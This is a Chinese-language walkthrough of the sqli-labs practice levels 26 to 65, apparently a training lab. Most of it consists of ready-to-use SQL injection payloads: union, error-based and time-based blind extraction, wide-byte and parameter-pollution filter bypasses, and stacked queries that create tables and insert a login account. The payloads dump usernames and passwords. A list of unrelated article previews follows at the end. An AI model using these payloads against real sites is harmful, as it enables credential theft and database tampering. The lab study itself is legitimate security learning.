?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users --+ # 得到我们想要的username 和 password 0x7e是编码的东西,解码之后是~是为了让我们看回显的时候跟好看!!!
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' anandd table_schema=database() --+?id=-1'union select 1,2,group_concat(username,0x22,passwoorrd) from users --+
这里需要注意一下我们需要把informtaion写成infoorrmation
26关-27关
1.第二十六关
同理找注入点
这里我们输入正确的sql语句,但是回显出现问题,所以应该是将or and 以及–+全部过滤掉了
所以在这里我们需要用逻辑运算符 &&和 || 表示 并且结尾需要使用’闭合 所以我们直接上命令
?id=1'||(updatexml(1,concat(0x7e,database(),0x7e),1)) || '0 # 爆数据库名
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0 # 爆表
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0 # 爆字段
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0 # 爆密码账户
这里我们直接给最后一个图
2.第二十七关
找到闭合点以后尝试着进行注入
二十七关和二十六差不多不过二十七关没有过滤and和or,过滤了select和union,我们可以大小写绕过以及重写绕过。
这里很明显过滤了空格
所以我们需要用大小写和双重写绕过且不能用空格
直接上命令
?id=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))or '0 # 爆库名
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0 # 爆表
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0 # 爆字段
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0 # 爆密码账户
28关
1.第二十八关
该关卡过滤了注释符空格还过滤了union和select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写。
命令
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()and ('1 # 爆表
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1 # 爆字段
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1 # 爆数据
29关-31关
1.第二十九关
就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。
利用参数污染注入,传入2个参数,第一个用来欺骗waf,第二个用于正常访问。
上命令
?id=1&id=-1' union select 1,2,database()--+ # 暴库名
?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ # 爆表名
?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ # 爆字段
?id=1&id=-1' union select 1,2,group_concat(username,'-',password) from security.users--+ # 爆数据
2.第三十关
跟29同理,找到闭合点即可,也是利用2个参数传入,绕过waf
上命令
?id=1&id=-1" union select 1,2,database()--+
?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=1&id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=1&id=-1" union select 1,2,group_concat(username,'-',password) from security.users--+
3.第三十一关
同理,只是闭合点不一样,闭合点是’)
命令
?id=1&id=-1") union select 1,2,database()--+ # 爆库名
?id=1&id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ # 爆表
?id=1&id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ # 爆字段
?id=1&id=-1") union select 1,2,group_concat(username,'-',password) from security.users--+ # 爆数据
32-33关
1.第三十二关与第三十三关一样,同样的命令方法即可
这一关是get请求栏中 发现使用什么都不能闭合,但是可以使用宽字节
因为php源码中是用来greg_replace函数将斜杠,单引号与双引号过滤了,所以输入’之后不起作用,所以这个时候我们可以使用宽字节注入,当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
我们使用%df和%27组合,使其成为一个宽字节,然后导致报错,然后我们可以将后面注释,从而形成注入
接着我们直接上命令:
?id=1%df%27 order by 4 --+ # 发现没有回显,说明有3个字段
?id=-1%df%27union select 1,2,3 --+ # 判断显错位,可以得出,显错位是2,3 利用2,3进行注入
?id=-1%df%27 union select 1,database(),version() --+ # 可以得出数据库的名字和版本号
?id=-1%df%27 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+ # 得到库中的所有表
?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+ # 得到表中的字段,利用表中的字段得到我们的想要的数据
?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database() --+
?id=-1%df%27 union select 1,2,group_concat(username,id,password) from users --+
这里表名需要十六进制编码一下,因为这里存在一个过滤
34关
1.第三十四关
又是我们熟悉的post请求
我们继续bp抓包测试
看到这个我们就很敏感了,同样的道理,还是将’转义了,所以我们需要使用宽字节
这样的话就完美的解决了,然后我们就可以使用我们的命令了,直接上命令
admin%df' order by 3 # 发现没有回显,说明有2个字段
admin%df' union select 1,2 # 判断显错
admin%df' union select 1,database()# 可以得出数据库的名字
admin%df' union select 1,version()# 可以得出数据库的版本
admin%df'union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() # 得到库中的所有表
admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database()# 得到表中的字段,利用表中的字段得到我们的想要的数据
admin%df'union select 1,group_concat(username,id,password) from users # 得到字段的具体的内容
同理我们直接上最后一个图
35关
1.第三十五关
这里我们成功的找到了注入点,就是’ --+然后我们就可以使用联合注入,但是肯定有过滤的东西,所以我们直接上命令
?id=1 order by 4 # 得到字段数是3
?id=-1 union select 1,2,3 # 得出回显是2,3
?id=-1 union select 1,database(),version() # 得出数据库的版本和名字
?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() # 爆出表名
?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 # 爆出字段,但是这里的users表需要用16进制编码,因为对'users'做了过滤
?id=-1 union select 1,2,group_concat(username,password) from users # 得到数据
同理我们直接出最后一个图
36关
1.第三十六关 与32关一样所以直接上命令
发现没有回显,说明有3个字段
?id=-1%df%27union select 1,2,3 --+ 判断显错位,可以得出,显错位是2,3 利用2,3进行注入
?id=-1%df%27 union select 1,database(),version() --+ 可以得出数据库的名字和版本号
?id=-1%df%27 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+ 得到库中的所有表
?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database() --+
?id=-1%df%27 union select 1,2,group_concat(username,id,password) from users --+
37关
宽字节的post注入,跟34一样,但是需要用bp抓包
上命令
admin%df' order by 3 # 发现没有回显,说明有2个字段
admin%df' union select 1,2 # 判断显错
admin%df' union select 1,database() # 可以得出数据库的名字
admin%df' union select 1,version() # 可以得出数据库的版本
admin%df'union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() # 得到库中的所有表
admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database()# 得到表中的字段,利用表中的字段得到我们的想要的数据
admin%df'union select 1,group_concat(username,id,password) from users # 得到字段的具体的内容
38关-45关
1.第三十八关
到这里我们发现和第一关的是一样的,但用第一关的做法来做就多多少少有点捞了,这波是要我们练习堆叠注入的,所以我们可以执行多条sql语句。所以我们可以插入一个表格,或者修改数据或者删除数据库什么的,这里都行,所以就创建一个表吧!
这里我们用工具连上数据库去看一下
确实是有我们创建的表
2.第三十九关
跟38关是原理一样,所以我们这里只要找到闭合点就好了
我们发现闭合点就是没有闭合点,所以我们这里直接进行堆叠语句就好了
那我们这里可以再表里面差一个数据
?id=1;insert into hjm values('1','hjm','123') # 解释一下,hjm表中插入数据1 hjm 和 123 这个师傅们应该都懂
还是我们连接数据库看一下
3.第四十关
同理,找到闭合点就好了
我们继续创建表
?id=1'); create table hjm2 like users;--+ # 这里就不解释了,师傅们都懂
4.第四十一关
同样的道理,找闭合点
找到注入点,在这里我们可以进行插入数据
?id=1;insert into hjm2(id,username,password)values(1,'hjm','password');
同理我们上数据库看一下
5.第四十二关
这一关同理,我们只要找到注入点就好了这里是一个post请求,我们可以去抓包,然后找到注入点之后,利用堆叠注入
在这里我们找到了注入方式,我们可以给users表中插入两个数据,作为我们登陆账号和密码
';insert into users(id,username,password) values ('100','hjm1','123456')#
然后我们可以上数据库看一下,我们也可以直接登陆,我们登陆看一下吧这里我们成功的登录进去,成功拿下数据库
6.第四十三关
第四十三关是同样的思路,找到闭合点就好了我们找到了注入点,后面的是同样的
同样的思路,我们可以去拿他数据库,也可以执行一些堆叠语句
7.第四十四关
四十四关和四十二关一样
8.第四十五关
四十五关和四十三关一样
46关-49关
1.第四十六关
使用新的参数sort,通过输入1,2,3表中出现不同数据,该sql语句是order by,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以使用updatexml进行报错。
看到这,我们可以尝试着用报错注入
上命令
?sort=3 and (updatexml(1,concat(0x5c,database(),0x5c),1)) --+ # 使用显错注入获得数据库的名字
?sort=3 and (updatexml(1,concat(0x5c,version(),0x5c),1)) --+ # 使用显错注入获取到版本号
?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+ # 使用显错注入获取到表名
?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+ # 使用显错注入获取到字段名
?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+ # 使用显错注入获取到username具体值
?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+ # 使用显错注入获取到password的具体值
?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+ # 使用显错注入获取到username和password的所有值
设置好payload直接爆出所有的账户密码
2.第四十七关
四十七关和四十六差不多,找到注入点,可以使用报错注入
发现这里使用’闭合,那么直接上命令
?sort=3' and (updatexml(1,concat(0x5c,database(),0x5c),1)) --+ # 使用显错注入获得数据库的名字
?sort=3' and (updatexml(1,concat(0x5c,version(),0x5c),1)) --+ # 使用显错注入获取到版本号
?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+ # 使用显错注入获取到表名
?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+ # 使用显错注入获取到字段名
?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+ # 使用显错注入获取到username具体值
?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+ # 使用显错注入获取到password的具体值
?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+ # 使用显错注入获取到username和password的所有值
3.第四十八关
这里发现没有回显,所以只能考虑进行盲注 找一下闭合点
发现闭合点
使用延时注入
直接上命令
?sort=3 and if(length((select database()))=8,sleep(1),1)--+ # 用时间延时注入判断数据库长度
?sort=3 and if(substr((select database()),1,1)='s',sleep(1),1)--+ # 使用时间延时判断数据库的第一个字母是不是s
?sort=3 and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(1),1) --+ # 使用时间延时的注入来判断有4个表
?sort=3 and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(1),1) --+ # 使用时间延时注入来判断第一个表的长度是6
?sort=3 and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(1),1) --+ # 使用时间延时注入来判断第一个表的名字
?sort=3 and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),1) --+ # 使用延时注入来判断第一个表中的字段有3个
?sort=3 and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(1),1) --+ # 使用延时注入来判断表中的字段的长度
?sort=3 and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),1) --+ # 使用延时注入来判断第个表中的第一个字段是i
?sort=3 and if(substr((select username from users limit 0,1),1,1)='D',sleep(1),1) --+ # 使用延时注入来判断username字段中的数据是否为D
?sort=3 and if(substr((select password from users limit 0,1),1,1)='D',sleep(1),1) --+ # 使用延时注入来判断password字段中的数据是否为D
4.第四十九关
四十九关和四十七关一样,不过没有报错显示,所以使用延时注入。
在这里我们需要找一下注入点
直接上命令
?sort=3' and if(length((select database()))=8,sleep(1),1)--+ # 用时间延时注入判断数据库长度
?sort=3' and if(substr((select database()),1,1)='s',sleep(1),1)--+ # 使用时间延时判断数据库的第一个字母是不是s
?sort=3' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(1),1) --+ # 使用时间延时的注入来判断有4个表
?sort=3' and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(1),1) --+ # 使用时间延时注入来判断第一个表的长度是6
?sort=3' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(1),1) --+ # 使用时间延时注入来判断第一个表的名字
?sort=3' and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),1) --+ # 使用延时注入来判断第一个表中的字段有3个
?sort=3' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(1),1) --+ # 使用延时注入来判断表中的字段的长度
?sort=3' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),1) --+ # 使用延时注入来判断第个表中的第一个字段是i
?sort=3' and if(substr((select username from users limit 0,1),1,1)='D',sleep(1),1) --+ # 使用延时注入来判断username字段中的数据是否为D
?sort=3' and if(substr((select password from users limit 0,1),1,1)='D',sleep(1),1) --+ # 使用延时注入来判断password字段中的数据是否为D
51-53关
1.第五十一关

这里找到注入点我们可以尝试用显错注入,我们直接上命令
?sort=' or (updatexml(1,concat(0x5c,database(),0x5c),1)) --+ 使用显错注入获得数据库的名字
?sort=' or (updatexml(1,concat(0x5c,version(),0x5c),1)) --+使用显错注入获取到版本号
?sort=' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+ 使用显错注入获取到表名
?sort=' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+使用显错注入获取到字段名
?sort=' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+使用显错注入获取到username具体值
?sort=' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+使用显错注入获取到password的具体值
?sort=' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+使用显错注入获取到username和password的所有值
2.第五十二关
在这里我们发现了这里有注入点,可以在这里进行堆叠注入,比如创建数据库
?sort=1; create table abc like users;
我们连上数据库看一下
存在我们创建的表
3.第五十三关
与52关同理,知道找到闭合点就好了
这里也是同样适用创建表
?sort=1';create table bbb like users; --+
同理我们看一下
54关-57关
1.第五十四关
翻译页面的英文,得知只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。id参数是单引号闭合就
可以了
找到注入点以后我们就可以去找字段以及显错位置
?id=1' and 1=1 --+
?id=1' order by 3 --+
?id=1' order by 4 --+ # 发现没有回显,说明有3个字段
?id=-1' union select 1,2,3 --+ # 判断显错位,可以得出,显错位是2,3 利用2,3进行注入
?id=-1' union select 1,database(),version() --+ # 可以得出数据库的名字和版本号
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+ # 得到库中的所有表
?id=?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='5mun9luvtz' --+ # 这个5m是我得出的 得到表中的字段,利用表中的字段得到我们的想要的数据
?id=-1'union select 1,2,group_concat(secret_IVJ4) from 5mun9luvtz --+
得到数据库的名字是challenges
然后爆字段
得到表是5mun91uvtz得到字段
这里需要得到secret这个字段
得到结果
kP7TlVSNsbtjJb1iosg1PucL
用这个结果登录即可
2.第五十五关
思路与54一样只是这里闭合的点是) 而的命令与54同理,使用联合注入就可以
3.第五十六关
同样的思路,这里的闭合点是单引号括号 然后利用联合注入就好了
4.第五十七关
同理,这里使用"闭合就好了,然后利用联合查询就好了
58-61关
1.第五十八关
同样,在这里我们找到了注入点,但是次数只有5次所以我们想到了报错注入
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ # 爆出表的名字
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='x87nrg3jvg'),0x7e),1)--+ # 爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_SX1R) from x87nrg3jvg),0x7e),1)--+ # 爆字段名 也就是钥匙
知道表名x87nrg3jvg
爆出字段的名字id,sessic,secret_sx1R,tryy
我们来爆结果
hqgQA9uNcTQsHUIGD4859Zzu 提交即可
2.第五十九关
同理这里是整形的所以直接使用–+ 然后进行报错注入就好了!
3.第六十关

在这里我们发现了闭合点是") 后面同理,使用显错就好了
4.第六十一关
同理,这里发现是))闭合,找到闭合点,显错就好了
62-65关
1.第六十二关
这里发现闭合以后不报错没有回复,所以这里是使用盲注,盲注命令前面都有,这里就找一下闭合点了!!
找到了闭合点,我们可以使用延时注入和布尔注入去找
2.第六十三关
同样的思路,去找闭合点,然后盲注就好了
这里是用’ --+进行的注释
3.第六十四关
还是找闭合点!
是ID )) --+这种闭合方式 所以这里我们还是进行盲注
4.第六十五关
这里找到了闭合点,是使用) --+ 的 ,之后继续使用盲注
小结
这里有些细心的师傅应该会发现,后面的ip地址是发生变化的,这里是我在打靶过程中,出现了一些问题,然后重新搭建的另一个靶机!
总结:
这里写了所有关卡的方法,其实那些方法都大差不差,主要是学习思路,所以后续一些关卡的命令就没有拿出来,因为同前面的都一样
这五六天的过程中,也是一个比较煎熬的过程,好在最后是坚持了下来!
整个过程中,费时费力,这是一件挺耗费精力的事情,花了很长世界写了这篇文章,希望对于各位师傅有所帮助,后续还在持续的更新中!!!
相关文章:

sql-libs通关详解
1-4关 1.第一关 我们输入?id1 看回显,通过回显来判断是否存在注入,以及用什么方式进行注入,直接上图 可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下&…...

【STM32】当按键具有上拉电阻时GPIO应该配置什么模式?怎么用按键去控制LED翻转?
当按键具有上拉电阻时,可以通过正确配置STM32的GPIO端口和编写相应的控制代码来实现按键控制LED灯的功能。具体来说,需要配置按键所连接的GPIO端口为输入模式,并启用内部上拉电阻,这样在按键未操作时该端口保持高电平状态…...

EXO-chatgpt_api 解释
目录 chatgpt_api 解释 resolve_tinygrad_tokenizer 函数 resolve_tokenizer 函数 调试和日志记录 参数 返回值 初始化方法 __init__ 异步方法 注意事项 chatgpt_api 解释 展示了如何在一个项目中组织和导入各种库、模块和类,以及如何进行一些基本的We…...

新能源汽车的充电网络安全威胁和防护措施
1. 物理攻击:例如恶意破坏、搬走充电设施等,这可能会对充电设施造成损害,妨碍正常的电力传输。 2. 网络攻击: 黑客可能利用系统漏洞攻击网络,破坏设备,并窃取用户的个人信息、支付信息等; 车辆…...

Linux中利用消息队列给两个程序切换显示到前台
消息队列–两个进程间的通信 需求: 1.在Linux系统中2.两个ui界面的程序切换,一个显示,另一个隐藏 .h #ifndef PROGRAMWINDOWSWITCH2_H #define PROGRAMWINDOWSWITCH2_H#include <QObject> #include <QThread> #include <Q…...

C语言实例-约瑟夫生者死者小游戏
问题: 30个人在一条船上,超载,需要15人下船。于是人们排成一队,排队的位置即为他们的编号。报数,从1开始,数到9的人下船,如此循环,直到船上仅剩15人为止,问都有哪些编号…...

算法类学习笔记 ———— 红绿灯检测
文章目录 介绍基于传统视觉方法的检测基于颜色和边缘信息基于背景抑制 基于深度学习的检测特征金字塔网络(FPN)红绿灯检测特征金字塔自下而上自上而下横向连接 特征融合SSD红绿灯检测 高精度地图结合 介绍 红绿灯检测就是获取红绿灯在图像中的坐标以及它…...

git命令使用详细介绍
1 环境配置 设置的信息会保存在~/.gitconfig文件中 查看配置信息 git config --list git config user.name设置用户信息 git config --global user.name "有勇气的牛排" git config --global user.email “1809296387qq.com”2 获取Git仓库 2.1 本地初始化一个仓…...

WebStorm中在Terminal终端运行脚本时报错无法加载文件进行数字签名。无法在当前系统上运行该脚本。有关运行脚本和设置执行策略的详细信息,请参阅
错误再现 我们今天要 在webstorm用终端运行脚本 目的是下一个openAPI的 前端请求代码生成的模块 我们首先从github上查看官方文档 我们根据文档修改 放到webstorm终端里执行 报错 openapi : 无法加载文件 C:\Users\ZDY\Desktop\多多oj\dduoj\node_modules\.bin\openapi.p…...

【Java题解】以二进制加法的方式来计算两个内容为二进制数字的字符串相加的结果
🎉欢迎大家收看,请多多支持🌹 🥰关注小哇,和我一起成长🚀个人主页🚀 👑目录 分析:🚀 数字层面分析⭐ 字符串层面分析⭐ 代码及运行结果分析:Ƕ…...

docker -v 到底和那个一样?type=volume还是type=bind的解释
逐行通俗详细的解释下这个代码“#!/usr/bin/env bash # # This script will automatically pull docker image from DockerHub, and start a daemon container to run the Qwen-Chat web-demo.IMAGE_NAMEqwenllm/qwen:2-cu121 QWEN_CHECKPOINT_PATH/path/to/Qwen-Instruct PORT…...

linux自动化构建工具--make/makefile
目录 1.make/makefile介绍 1.1基本认识 1.2依赖关系、依赖方法 1.3具体操作步骤 1.4进一步理解 1.5默认设置 1.6make二次使用的解释 1.7两个文件的时间问题 1.8总是被执行 1.9特殊符号介绍 1.make/makefile介绍 1.1基本认识 make是一个指令,makefile是一…...

学习记录——day15 数据结构 链表
链表的引入 顺序表的优缺点 1、优点:能够直接通过下标进行定位元素,访问效率高,对元素进行查找和修改比较快 2、不足:插入和删除元素需要移动大量的元素,效率较低 3、缺点:存储数据元素有上限,当达到MAX后,就不能再…...

vue3实现在新标签中打开指定的网址
有一个文件列表,如下图: 我希望点击查看按钮的时候,能够在新的标签页面打开这个文件的地址进行预览,该如何实现呢? 比如: 实际上要实现这个并不难,参考demo如下: 首先&#x…...

Qt基础 | QSqlTableModel 的使用
文章目录 一、QSqlTableModel 的使用1.主窗口MainWindow类定义2.构造函数3.打开数据表3.1 添加 SQLite 数据库驱动、设置数据库名称、打开数据库3.2 数据模型设置、选择模型、自定义代理组件、界面组件与模型数据字段间的数据映射 4.添加、插入与删除记录5.保存与取消修改6.设置…...

RPA软件-影刀使用
流程自动化 影刀将操作进行抽象,分为一下几个对象: 网页自动化 (1) 网页自动化应用场景:网页操作、数据抓取 (2) 网页操作:基础操作-指令操作,智能操作-关联元素&#…...

HarmonyOS NEXT零基础入门到实战-第四部分
自定义组件: 概念: 由框架直接提供的称为 系统组件, 由开发者定义的称为 自定义组件。 源代码: Component struct MyCom { build() { Column() { Text(我是一个自定义组件) } } } Component struct MyHeader { build() { Row(…...

vue2获取视频时长
使用HTML5的video标签和JavaScript: <template><video ref"video" autoplay controls loop muted loadedmetadata"getVideoDuration"><source src"https://desktop-yikao.oss-cn-beijing.aliyuncs.com/avatar/kaissp.mp4&q…...

Linux中进程的控制
一、进程的创建 1、知识储备 进程的创建要调用系统接口,头文件 #include<unistd.h> 函数fork() 由于之前的铺垫我们现在可以更新一个概念 进程 内核数据结构(task_struct, mm_struct, 页表....) 代码 数据 所以如何理解进程的独…...

【源码】Sharding-JDBC源码分析之JDBC
Sharding-JDBC系列 1、Sharding-JDBC分库分表的基本使用 2、Sharding-JDBC分库分表之SpringBoot分片策略 3、Sharding-JDBC分库分表之SpringBoot主从配置 4、SpringBoot集成Sharding-JDBC-5.3.0分库分表 5、SpringBoot集成Sharding-JDBC-5.3.0实现按月动态建表分表 6、【…...

Java | Leetcode Java题解之第273题整数转换英文表示
题目: 题解: class Solution {String[] singles {"", "One", "Two", "Three", "Four", "Five", "Six", "Seven", "Eight", "Nine"};String[] t…...

数据结构之深入理解简单选择排序:原理、实现与示例(C,C++)
文章目录 一、简单选择排序原理二、C/C代码实现总结: 在计算机科学中,排序算法是一种非常基础且重要的算法。简单选择排序(Selection Sort)作为其中的一种,因其实现简单、易于理解而受到许多初学者的喜爱。本文将详细介…...

使用vscode搜索打开的文件夹下的文件
右键空白处打开命令面板 摁一次删除键,删除掉图中的大于号 这样就能够找到例化的模块,文件具体在哪个位置,然后打开了...

力扣778.水位上升的泳池中游泳
力扣778.水位上升的泳池中游泳 二分 bfs class Solution {int dx[4] {1,0,-1,0},dy[4] {0,1,0,-1};public:int swimInWater(vector<vector<int>>& grid) {int n grid.size();auto check [&](int mid) -> bool{queue<pair<int,int>>…...

Nacos-2.4.0最新版本docker镜像,本人亲自制作,部署十分方便,兼容postgresql最新版本17和16,奉献给大家了
基于Postgresql数据库存储的nacos最新版本2.4.0,采用docker镜像安装方式 因业务需要,为了让nacos支持postgresql,特意花了两天时间修改了源码,然后制作了docker镜像,如果你也在找支持postgresql的nacos最新版本,恭喜你,你来的正好~ nacos-2.4.0 postgresql的数据库脚本…...

Halcon机器视觉15种缺陷检测案例_9找出所有网格顶点的位置
Halcon机器视觉15种缺陷检测案例_9找出所有网格顶点的位置 效果 原图 代码 *9找出所有网格顶点的位置 dev_update_off ()read_image (Image, 9找出所有风格顶点的位置) get_image_size (Image, Width, Height) *关闭已打开的窗口 dev_close_window ()dev_open_window (0, 0, …...

w30-python02-pytest入门
代码如下: import pytest class Test_Obj:"""测试类"""#用例级别前后置def setup(self):print(用例级别------的前置处理)def teardown(self):print("用例级别--------的后置处理")# 用例def test_case1(self):print(&quo…...

WPF+Mvvm项目入门完整教程-仓储管理系统(二)
目录 一、搭建一个主界面框架二、实现步骤1.主界面区域划分2.主界面区域实现 一、搭建一个主界面框架 主要实现主界面的框架样式和基础功能。这里特别说明一下,由于MvvmLight 已经过时不在维护,本项目决定将MvvmLight框架变更为 CommunityToolkit.Mvvm …...

SkyWalking入门搭建【apache-skywalking-apm-10.0.0】
Java学习文档 视频讲解 文章目录 一、准备二、服务启动2-1、Nacos启动2-2、SkyWalking服务端启动2-3、SkyWalking控制台启动2-4、自定义服务接入 SkyWalking 三、常用监控3-1、服务请求通过率3-2、服务请求拓扑图3-3、链路 四、日志配置五、性能剖析六、数据持久化6-1、MySQL持…...

exo项目目录架构
目录 .yml 文件是 YAML(YAML Aint Markup Language) exo项目目录架构 文件作用 topology、viz:项目拓扑结构可视化相关的代码或工具。 项目目录架构 文件作用 .yml 文件是 YAML(YAML Aint Markup Language) 文件的扩展名,YAML 是一种人类可读的数据序列化标准,通…...